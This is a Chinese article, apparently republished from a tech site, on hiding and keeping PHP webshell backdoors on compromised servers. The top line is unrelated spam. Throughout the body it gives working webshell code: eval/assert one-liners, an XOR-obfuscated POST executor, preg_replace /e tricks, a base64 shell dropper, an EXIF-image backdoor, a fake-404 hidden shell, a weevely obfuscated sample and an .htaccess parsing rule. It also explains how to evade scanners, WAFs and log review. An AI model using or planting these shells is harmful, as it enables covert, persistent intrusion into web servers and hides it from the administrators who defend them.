自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

PHP后門(mén)隱藏與維持技巧

安全 黑客攻防
在一個(gè)成功的測(cè)試后,通常會(huì)想讓特權(quán)保持的更久些.留后門(mén)的工作就顯得至關(guān)重要,通常布設(shè)的后門(mén)包括但不限于數(shù)據(jù)庫(kù)權(quán)限,WEB權(quán)限,系統(tǒng)用戶(hù)權(quán)限等等.此文則對(duì)大眾后門(mén)隱藏的一些思路做科普。

0×00前言

在一個(gè)成功的測(cè)試后,通常會(huì)想讓特權(quán)保持的更久些.留后門(mén)的工作就顯得至關(guān)重要,通常布設(shè)的后門(mén)包括但不限于數(shù)據(jù)庫(kù)權(quán)限,WEB權(quán)限,系統(tǒng)用戶(hù)權(quán)限等等.此文則對(duì)大眾后門(mén)隱藏的一些思路做科普.

[[113256]]

以PHP-WEBBACKDOOR為例,拋磚引玉

一個(gè)最常見(jiàn)的一句話后門(mén)可能寫(xiě)作這樣

  1. <?php @eval($_POST['cmd']);?> 

或這樣

  1. <?php @assert($_POST['cmd']);?> 

當(dāng)然,這僅是調(diào)用的函數(shù)不同,關(guān)于PHP禁用的函數(shù)請(qǐng)?jiān)趐hp.ini: disable_functions 中尋找.

但是運(yùn)維直觀尋找我們shell的方式也有很多,如

◆通過(guò)文件名/修改時(shí)間/大小,文件備份比對(duì)發(fā)現(xiàn)異常

◆通過(guò)WEBSHELL后門(mén)掃描腳本發(fā)現(xiàn),如Scanbackdoor.php/Pecker/shelldetect.php以及各種掃描器等等

◆通過(guò)Access.log訪問(wèn)日志發(fā)現(xiàn)后門(mén)所在

◆又或者,我們的測(cè)試一句話還要被WAF攔一下,再來(lái)個(gè)警告日志,等等

針對(duì)常見(jiàn)的檢測(cè)方式,總結(jié)以下七常用手法對(duì)shell進(jìn)行隱藏

0×01規(guī)避

看看各種掃描后門(mén)的代碼就知道,留一個(gè)眾人皆知,人人喊打的關(guān)鍵詞在shell中是萬(wàn)萬(wàn)不能的

PHP后門(mén)隱藏與維持技巧

 

常見(jiàn)的關(guān)鍵詞如:

◆系統(tǒng)命令執(zhí)行: system, passthru, shell_exec, exec, popen, proc_open

◆代碼執(zhí)行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

過(guò)去有朋友機(jī)智的使用$_POST[0]($_POST[1])來(lái)執(zhí)行命令,可惜現(xiàn)在也難逃掃描器法眼,但萬(wàn)象變化,構(gòu)造方法是無(wú)窮的

tudouya 同學(xué)在FREEBUF上給出[一種構(gòu)造技巧](http://www.freebuf.com/articles/web/33824.html)利用

  1. <?php  
  2. @$_++; // $_ = 1  
  3. $__=("#"^"|"); // $__ = _  
  4. $__.=("."^"~"); // _P  
  5. $__.=("/"^"`"); // _PO  
  6. $__.=("|"^"/"); // _POS  
  7. $__.=("{"^"/"); // _POST  
  8. ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  
  9. ?> 

構(gòu)造生成,當(dāng)然,嫌太直觀可以寫(xiě)作這樣

  1. <?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?> 

然后再填充些普通代碼進(jìn)行偽裝,一個(gè)簡(jiǎn)單的”免殺”shell樣本就出現(xiàn)了

PHP后門(mén)隱藏與維持技巧

 

執(zhí)行無(wú)誤,且繞過(guò)普通掃描器,也可依賴(lài)之寫(xiě)新的臨時(shí)shell

PHP后門(mén)隱藏與維持技巧 

#p#

0×02特性

借助語(yǔ)法特性執(zhí)行命令亦不失為有趣的手法.借用php在處理變量時(shí)的語(yǔ)法特性,會(huì)分析雙引號(hào)中的數(shù)據(jù)是否含有變量(并解析其值)

eg.:

  1. ${@eval(phpinfo())} 

{}可解析雙引號(hào)內(nèi)的變量?jī)?nèi)容,@保持出錯(cuò)后繼續(xù)執(zhí)行

然后就可以大搖大擺的開(kāi)始構(gòu)造隱藏后門(mén)了,但此處構(gòu)造欲再借力于函數(shù)引起的命令執(zhí)行,沒(méi)錯(cuò),就是preg_replace

  1. <?php @preg_replace("//e",$_POST['cmd'],"");?> 

這玩法顯然已經(jīng)進(jìn)了掃描器黑名單,簡(jiǎn)單修改下

  1. <?php  
  2. function funfunc($str){}  
  3. echo preg_replace("/<title>(.+?)<\/title>/ies"'funfunc("\1")'$_POST["cmd"]);  
  4. ?> 

執(zhí)行了,沒(méi)有被發(fā)現(xiàn)

PHP后門(mén)隱藏與維持技巧

執(zhí)行的方式顯而易見(jiàn),正則匹配后的{${phpinfo()}}傳入funfunc時(shí)引起了代碼執(zhí)行

  1. funfunc("{${phpinfo()}}"

另一種方法

  1. <?php @assert("\$arr=\"".$_GET['cmd']."\";");?> 

PHP后門(mén)隱藏與維持技巧

0×03包含

文件包含是眾人都玩過(guò)的方法,只是包含也有技巧

普通文件包含可能僅僅是一個(gè)include包含某個(gè)txt或jpg,甚至直接留一個(gè)包含漏洞,但掃描器也容易發(fā)現(xiàn),多出的包含文件也易被發(fā)現(xiàn)

看此腳本

  1. <?php  
  2.     if(@isset($_GET[content]))  
  3.     {  
  4.     $fp=fopen('README','w');  
  5.     file_put_contents('README',"<?php\r\n");  
  6.     @file_put_contents('README',$_GET[content],FILE_APPEND);  
  7.     fclose($fp);  
  8.     require 'README';}  
  9. ?> 

算是解決了一點(diǎn)問(wèn)題,需求的shell可隨用隨生成,進(jìn)而包含之

PHP后門(mén)隱藏與維持技巧

可惜由于file_put_contents等函數(shù)過(guò)于敏感,也是很容易被掃描發(fā)現(xiàn)

編碼生成的方式創(chuàng)建shell,隨訪問(wèn)而生成.

  1. <?php @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));  
  2. ?> 

可以逃避一些掃描器,但這個(gè)模式也比較引人注目,生成的新文件也要做簡(jiǎn)單的隱藏以躲過(guò)查殺.

當(dāng)然對(duì)于啟發(fā)式之類(lèi)的新概念就不考慮了

在這種方式也滿(mǎn)足不了需求的情況下,機(jī)智的攻擊者又重拾圖片

  1. <?php $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?> 

參考:一種隱藏在JPG圖片EXIF中的后門(mén)

這次不必再簡(jiǎn)單的copy /b生成圖片馬了,借用preg_replace執(zhí)行文件的特定標(biāo)志一樣可行

PHP后門(mén)隱藏與維持技巧

此處可能會(huì)提示 Call to undefined function exif_read_data()

需要修改php.ini, extension=php_exif.dll

將其加載順序改為extension=php_mbstring.dll的后面

PHP后門(mén)隱藏與維持技巧

可以看出,此圖片后門(mén)借助了preg_replace \e參數(shù),依賴(lài)了php的變量解析執(zhí)行,又使用了base64編碼,最后依賴(lài)文件標(biāo)識(shí)將一個(gè)完整的shell拼合,算是給初涉后門(mén)隱藏的童鞋一個(gè)小提醒

當(dāng)然,只要有包含點(diǎn),包含文件的形式是多樣的,甚至于包含error_log(雖然可能要考慮閉合),只有想不到…#p#

0×04隱匿

為了不讓訪問(wèn)者發(fā)現(xiàn)后門(mén)的存在,機(jī)智的安全研究員也會(huì)混淆視聽(tīng)故弄玄虛

  1. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
  2.     <html><head>  
  3.     <title>404 Not Found</title>  
  4.     </head>  
  5.     <body>  
  6.     <h1>Not Found</h1>  
  7.     <p>The requested URL was not found on this server.</p>  
  8.     </body>  
  9.     </html>  
  10. <?php  
  11.     @preg_replace("/[checksql]/e",$_POST['cmd'],"saft");  
  12. ?> 

借助上面的html渲染后,瀏覽頁(yè)面已經(jīng)開(kāi)始偽裝404以迷惑視聽(tīng)了

但躲得過(guò)訪問(wèn)者也躲不過(guò)日志分析,為更好的隱藏在大量日志中,構(gòu)造如下腳本

  1. <?php  
  2.     header('HTTP/1.1 404');  
  3.     ob_start();  
  4.     @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));  
  5.     ob_end_clean();  
  6. ?>  

訪問(wèn)之,是真正的404,沒(méi)錯(cuò),日志中也是這樣

PHP后門(mén)隱藏與維持技巧

但此刻當(dāng)前目錄已生成我們要連接的腳本

0×05混淆

用過(guò)weevely工具的童鞋應(yīng)該知道,其生成的免殺shell像這樣

  1. <?php  
  2.     $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
  3.     $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
  4.     $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
  5.     $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
  6.     $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
  7.     $smgv = $ftdf("f""""bfafsfef6f4_fdfefcodfe");  
  8.     $jgfi = $ftdf("l","","lclrlelaltel_functlilon");  
  9.     $rdwm = $jgfi(''$smgv($ftdf("gi"""$zrmt.$kthe.$wmmi.$penh))); $rdwm();  
  10. ?> 

終端下連接后像這樣

PHP后門(mén)隱藏與維持技巧

Ps:截圖忘記修改終端編碼了:(

其免殺方式在于,在固定區(qū)域生成隨機(jī)名稱(chēng)變量,后借助str_replace拼合base64_decode,執(zhí)行命令的過(guò)程

當(dāng)然,這是在代碼層面混淆視聽(tīng)以躲過(guò)掃描器

更常用的混淆視聽(tīng)的方法:

◆修改文件時(shí)間

◆改名融入上傳后所在文件夾,讓人無(wú)法直觀看出文件異常

◆文件大小的偽裝處理(至少看起大小像個(gè)正常腳本)

◆選好藏身路徑并盡量少的訪問(wèn)

◆畸形目錄%20

關(guān)于空格目錄,還是相對(duì)容易被發(fā)現(xiàn)的

PHP后門(mén)隱藏與維持技巧

0×06解析

利用.htaccess,添加解析后門(mén)

PHP后門(mén)隱藏與維持技巧

如:

  1. AddType   application/x-httpd-php     .jpg 

PHP后門(mén)隱藏與維持技巧

以上以weeverly為例

0×07雜糅

總結(jié)以上方法,大部分無(wú)非是一個(gè)構(gòu)造漏洞的過(guò)程,漏洞構(gòu)造的代碼能有多奇葩,后門(mén)就可以多奇葩.可以寫(xiě)纖細(xì)婉約的,也可以搞簡(jiǎn)單粗暴的,只是適用場(chǎng)合不同而已.如能很好的融合思路,構(gòu)造自己的隱藏shell想來(lái)亦非難事.以上僅為總結(jié)經(jīng)驗(yàn)之談,各位有有趣的想法還望不吝賜教.

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 網(wǎng)絡(luò)安全攻防實(shí)驗(yàn)室
相關(guān)推薦

2020-11-06 00:00:00

PHP技巧后門(mén)

2018-07-18 11:18:13

2013-08-20 16:16:19

2011-03-30 10:53:45

2009-03-09 11:07:24

木馬病毒查殺

2013-07-09 16:12:47

2024-05-31 13:18:44

2010-09-13 14:34:55

2013-07-29 10:02:42

2014-03-06 17:52:25

2015-01-22 13:43:09

IT運(yùn)維東華網(wǎng)智

2009-12-11 16:44:33

PHP冒泡排序

2013-06-19 10:03:42

2014-10-08 09:33:09

2009-12-11 17:57:13

PHP應(yīng)用JSON

2009-12-09 17:33:22

PHP性能優(yōu)化

2015-04-02 11:37:54

2010-09-13 14:47:58

2010-09-13 15:06:36

2009-12-03 16:54:36

PHP獲取中國(guó)IP段
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)